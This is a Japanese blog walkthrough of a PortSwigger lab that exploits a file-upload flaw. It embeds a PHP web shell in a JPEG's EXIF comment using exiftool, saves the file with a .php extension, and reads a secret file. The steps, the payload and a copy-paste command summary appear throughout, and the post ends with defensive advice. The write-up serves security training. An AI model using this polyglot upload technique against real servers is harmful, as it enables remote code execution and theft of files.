以下の内容はhttps://cysec148.hatenablog.com/entry/2025/08/15/072054より取得しました。


【有料試作版】PortSwigger LAB解説:Remote code execution via polyglot web shell upload

Hello there, ('ω')ノ

ねらい

このLABは、ファイルアップロード機能が「見た目は正しい画像」であることだけを確認しており、サーバ側では拡張子 .php をコードとして解釈してしまう、という検証と実行の不整合を突きます。

画像にPHPコードをEXIFコメントとして埋め込むと、ファイルは「画像としても正当」かつ「PHPとしても実行可能」というポリグロット(多言語)ファイルになります。


全体像(まずはストーリー)

  1. ログイン(wiener:peter)。
  2. ふつうの exploit.php をアバターとして上げてブロックされることを確認。
  3. 画像にPHPをEXIFコメントとして埋め込み、出力ファイル名を .php にしたポリグロットJPEGを作成。
  4. それをアップロード → マイアカウントでアバター取得のGET /files/avatars/polyglot.phpが走る。
  5. レスポンスのバイナリの中に START ... END というシークレットの出力が混ざる。
  6. 抜き出して提出してクリア。

実践:一手ずつ「なぜそうするか」を添えて

1) ログインする

  • 操作:wiener / peter でログイン。
  • なぜ:まずは通常利用者として最短の攻撃面(アバターアップロード)へ辿り着くため。

2) 単純なPHPファイルでアップロードが拒否されることを確認

  • 操作:ローカルに exploit.php を作成:
  <?php echo file_get_contents('/home/carlos/secret'); ?>

これをアバターとしてアップロード。

  • 観察:サーバが「画像ではない」として拒否。

  • なぜ:まず現状の防御レベルを把握し、どの検査(拡張子?MIME?魔法バイト?内容解析?)が働いているかの手がかりを得る。ここでは「中身を見て画像判定」をしていそう。

3) 画像+PHPの「ポリグロット」を作る(EXIFコメントにPHP)

  • 発想:アップローダは中身が画像っぽいかを見ている。一方、Webサーバは拡張子 .php をPHPとして実行する。 → ならばJPEGとして正当かつPHPとしても有効なファイルを作れば両方を同時に満たせる。
  • 操作(ExifToolを使用):

    1. 任意のJPEGを1枚用意(input.jpg など)。
    2. ターミナルで以下を実行してEXIFのコメントにPHPペイロードを埋め込む:

      exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" input.jpg -o polyglot.php
      

      ※ 出力ファイル名は.phpにするのがポイント。

  • 期待:polyglot.phpJPEGファイルとしても開けるし、拡張子の都合でPHPとしても実行される。
  • 確認(任意):
  file polyglot.php     # => JPEG image data と出ればOK
  exiftool polyglot.php # => Comment に PHP が入っていること

4) ポリグロットをアップロードする

  • 操作:アバターに polyglot.php をアップロード。
  • なぜ:アップローダは中身が正当なJPEGなので通す。一方で保存先は /files/avatars/polyglot.php のような実行対象パスになる。

5) 実行結果(シークレット)をBurpで抜き出す

  • 操作:

    1. アップ後に「My account」を開く(アバター画像を表示させる)。
    2. Burp の「Proxy > HTTP history」で GET /files/avatars/polyglot.php を探す。
    3. レスポンスを開き、エディタの検索で START を検索。
  • 観察:レスポンスはほぼJPEGのバイナリだが、EXIFコメントの位置でPHPが実行され、START ... END文字列として混入している。 例: START 2B2tlPyJQfJDynyKME5D02Cw0ouydMpZ END
  • なぜ:PHPは <?php ... ?> の外側をそのまま出力する性質があるため、JPEGバイナリ(生データ)も返される。その途中にechoした文字列が紛れ込む。

6) シークレットを提出

  • 操作:STARTEND に挟まれた値だけを抜き出して、LABバナーのフォームに貼り付けて送信。
  • なぜ:これが /home/carlos/secret の中身。提出すればクリア。

どうして成立するのか(思考の軸)

  • 検証(Validation)と実行(Execution)の責務分離の失敗 アップロード時は「画像として正当」かを見てOKにする一方、配信時は拡張子ベースでPHPが実行される。両者の基準が一致していない。
  • ポリグロットの特性 JPEGはメタデータ(EXIFコメント)に任意文字列を格納できる。ここにPHPタグを埋め込むと、ファイル全体としてJPEGとしても妥当、かつPHPとしても妥当になる。
  • PHPの出力モデル PHPはタグ外のバイト列をそのまま出力し、タグ内だけを実行する。結果、レスポンスは「バイナリ+実行結果」の混在になる。

つまずきポイント&対処

  • アップロードで弾かれる

    • 入力画像が破損している/ExifToolが生成に失敗 → 別のJPEGで再生成。
    • コメント中のクォートのエスケープ誤り → コマンドをそのままコピペ推奨。シェルが違う場合は " 等を調整。
  • レスポンスに START が見つからない

    • 「My account」を再読み込みしてアバターのリクエストを確実に発生させる。
    • Burp で該当GETを選び、エディタのSearch(バイナリ検索)を使う。
  • 文字化けして読めない

    • Burp の「Render」ではなくRawで見て検索。
    • どうしても探しづらければ「Save response」してバイナリエディタで START を検索。

実務目線の防御策

  • アップロードは常に非実行ディレクトリに保存(例:オブジェクトストレージ、またはuploads/をWebルート外に置き、アプリから別ドメインで配信)。
  • 拡張子・MIME・魔法バイトの三点検査サーバ側で実施し、拡張子は強制的に付け替え(例:.jpg固定)。
  • サーバ側で画像の再エンコード(Imagick/GDで読み込んで新規に再保存)し、EXIFをすべて剥ぐ。
  • Content-Disposition/Typeを固定し、実行可能MIMEで配信しない。
  • .php等のスクリプト拡張子を完全拒否、かつWebサーバ設定でuploads配下のスクリプト実行無効化

コマンド&ペイロードまとめ(コピペ用)

<?php echo file_get_contents('/home/carlos/secret'); ?>
# ポリグロット作成(input.jpg は任意のJPEG)
exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" input.jpg -o polyglot.php
  • 取得後は Burp で GET /files/avatars/polyglot.php のレスポンスから START と END に挟まれた部分だけを抜き出して提出。

まとめ

このLABの肝は、「アップロード時の画像判定」と「配信時のPHP実行」という二つの処理の不整合を、ポリグロットJPEG(EXIFにPHP)で橋渡しする点にあります。 手順としては、通常のPHPが弾かれることを確認 → EXIFコメントにPHPを入れて.php拡張子の画像を生成 → アップロード → アバター取得のレスポンスから混ざり込んだシークレットを抜き出す、という流れ。

Best regards, (^^ゞ




以上の内容はhttps://cysec148.hatenablog.com/entry/2025/08/15/072054より取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14